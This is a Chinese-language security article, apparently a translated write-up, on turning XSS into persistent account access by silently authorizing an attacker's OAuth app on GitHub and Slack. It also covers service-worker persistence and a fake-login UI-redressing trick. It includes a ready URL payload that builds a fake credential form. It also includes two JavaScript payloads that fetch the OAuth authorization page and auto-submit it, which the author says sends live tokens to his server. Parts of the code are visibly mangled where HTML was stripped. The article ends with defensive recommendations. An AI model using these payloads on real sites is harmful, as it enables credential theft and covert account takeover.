频道栏目
首页 > 安全 > 网站安全 > 正文

结合Oauth的XSS利用技术

2019-04-15 13:37:54         来源:[db:作者]  
收藏   我要投稿

一、前言
当面试时被问到“XSS(Cross Site Scripting,跨站脚本攻击)最大的危害是什么?”,通常大家的回答是:“攻击者可以使用 document.cookie窃取会话令牌”。
从技术层面来讲,虽然这一点适用于某些应用程序,但在现代浏览器中,通过设置httponly标志已经能够避免JavaScript读取会话令牌信息。
XSS可能还有其他危害,比如能够完全控制用户账户或者网站,因为这种攻击能够以用户的身份执行各种操作、窃取数据。虽然从一般意义上来讲,攻击者的确可以利用XSS以用户身份执行各种操作、读取各种数据,但主要的限制因素在于操作执行时间,攻击过程受用户在页面上的停留时间所影响。
在受害者关闭页面后,攻击者希望能够长期有效、不受限制、隐蔽地访问受害者的账户,这是真实存在的一种持久化需求。
为了解决这个问题,攻击者可以考虑推荐安装Oauth应用,配合XSS窃取Oauth凭据,攻击过程无需用户交互,我也会通过实际网站演示几个攻击样例。
 
二、其他XSS持久化技术
在深入研究Oauth之前,我们首先来看一下其他一些持久化方案。
前面提到过,httponly标志是窃取会话令牌的一个主要限制因素,但实际上还有其他一些限制因素,其中包括:
生命周期较短的会话
应用可能使用的设备指纹识别技术
用户注销行为
Service Workers
网上已经有一些有趣的技巧能够实现持久化目标,比如滥用XSS以及JSONP来安装Service Workers。
这种技巧并不局限于JSONP。一般而言,如果存在任意文件上传点,或者可以通过其他方法搞定与XSS入口点同源的一个JavaScript文件,那么我们就可以安装service worker。
这种方法存在一些缺点,比如:
攻击复杂度较高(需要满足较为精确的条件)
必须依赖受害者长时间访问
网站只需删除service worker入口点就能解除持久化后门,包括:
删除JSONP入口点
清除文件上传点
端点改动
其他操作
UI Redressing
另一种技巧就是利用UI Redressing来诱骗用户输入凭据。攻击者可以使用XSS,在受害者原始页面上构造一个伪造的登录界面,然后攻击者可以借助现代浏览器的API,修改URL地址栏,使其看起来像是登录页面。
我们可以使用history API完成该任务:
history.replaceState(null, null, '../../../../../login');
然后看一下攻击效果:
首先找到存在XSS漏洞的一个站点:
https://xss-game.appspot.com/level1/frame?query=undefinedundefinedundefinedprompt(1))
然后修改URL,使其看起来像已经重定向到登录页面:
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E
点击该链接后,用户会看到自己处于/login地址,然而服务端并不存在该地址(如果我们直接访问该地址,服务端会抛出500错误代码)。

这种技巧也能掩盖页面的源代码。如果我们点击“查看源代码”,看到的是/login的源代码,而不是恶意页面的源代码。
攻击者可以使用这种技巧窃取用户凭据,但这种方法最明显的缺点在于攻击过程需要与用户交互。
 
三、Oauth持久化方法
Oauth简介
Oauth这种机制允许第三方获取用户账户的长期访问权限,之前已经有攻击者滥用过该机制,诱骗用户点击授权按钮。
授权第三方应用后,用户可以为第三方应用提供一个长期可用的令牌,第三方应用可以通过不同方式,利用该令牌访问用户账户。
与XSS结合使用
这里我想探索的是如何使用XSS,在无需用户交互的情况下授权由攻击者生成的恶意app,我们唯一目的是获取用户账户的长期访问权限。
由于我们能以用户的身份执行一些操作,那么只要Oauth的授权页面与XSS点同源,那么就能以用户的身份安装Oauth应用。下面我们来看一下具体例子。
Github案例
首先我们在Github中构建一个Oauth应用:


熟悉Oauth的人都知道,一旦用户点击授权按钮,我们的服务器就可以获取一个长期可用的令牌,能够访问我们请求的所有scope(权限范围)。
Github已经采取一些防护措施,用来保护某些oauth scope。如果用户最近在这些scope上没有输入凭据,那么就需要重新输入凭据。基于这一点,我们的app只请求不需要凭据的scope。这些scope包括email、Webhooks读取及写入,这样我们就能以用户的身份在repos(仓库)上安装Webhooks。
由于Github将Oauth授权页面托管在主域名上,因此github.com上任意位置只要存在XSS漏洞,我们就能以用户的身份来授权应用。为了模拟XSS攻击,大家可以在JavaScript终端中粘贴如下代码。
警告:如下代码会向我的服务器发送一个实时Oauth凭据。
fetch("https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a&scope=email,write:repo_hook").then(function(response) {
    response.text().then(function (text) {
        var oauthForm = ' + text.split(')[1].split(")[0] + '';
        document.write(oauthForm);
        document.getElementById("potato").submit();
    });
  })
浏览器控制台:

就这么简单,以上代码可以安装Oauth应用,将令牌发送给我的服务器。现在攻击者已经可以长期访问受害者账户,也能以目标用户的身份安装webhooks。
Slack案例
我们还可以使用这种技术攻击slack。如果用户具备相应权限,则如下JavaScript代码可以强迫用户在自己的workspace(工作区)中安装一个Oauth应用:

为了模拟XSS攻击,此时我们还是可以将如下JavaScript代码粘贴到自己的workspace域中。
警告:如下代码会向我的服务器发送一个实时Oauth凭据。
fetch(location.origin + "/oauth/authorize?scope=channels:history+users.profile:read&client_id=496141141553.514835337734").then(function(response) {
    response.text().then(function (text) {
                var oauthPath = text.split(')[1].split('?')[0];
        fetch(location.origin + oauthPath).then(function(response){
                        response.text().then(function (text) {
                                var crumb = text.split('type="hidden" name="crumb" value="')[1].split('"')[0];
                                var evilForm = `${oauthPath}" method="post" accept-encoding="UTF-8">${crumb}" />document.getElementById('potatoCarrots').submit()`
                                document.write(evilForm)
            })
        })
    });
  })
如上代码运行在用户workspace的XSS上下文中,会安装一个Oauth应用,其scope为channel:history。攻击者可以获取用户workspace中公开channel的长期读取权限。
 
四、总结
对于攻击者而言,安装Oauth应用是获取受害者账户访问权限的一种可靠方式。XSS可以用来安装应用,并且受害者无法察觉。
本文讨论的这种方法可以替代传统的 document.cookie XSS攻击方法,获取目标账户的长期访问权限。
大家可以访问此处获取支持Oauth的部分网站列表。
 
五、建议
Slack以及Github会在安装应用时向用户发送通知邮件,这种方法非常好,可以通知用户可能存在问题的操作。

Github还设置了一些额外安全策略,使敏感的oauth授权操作需要重新输入密码,这可能是一把双刃剑,因为此时用户需要定期向应用输入敏感凭据。前文提到的密码窃取技术可能对用户群体来说更加有效,因此需要阻止这种自动化Oauth令牌窃取技术影响这些scope。
还有另一种防护方法,可以考虑将Oauth应用授权地址迁移到独立的子域名上。这样就能限制XSS攻击面,攻击者需要找到同源上的注入点,如果范围过小,这个任务可能很难完成。
某些厂商(如Google)已经为Oauth授权页面分配单独的子域名,也就是说,我之前分析的许多厂商并没有为Oauth授权页面分配单独的子域名。
基于这个原因,我认为与Oauth授权页面同源的XSS漏洞(不管是反射型、存储型或者DOM型)都应该比与Oauth授权页面不同源的XSS漏洞危害程度要高。
 

相关TAG标签
上一篇:Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)
下一篇:浅析xml之xinclude & xslt
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站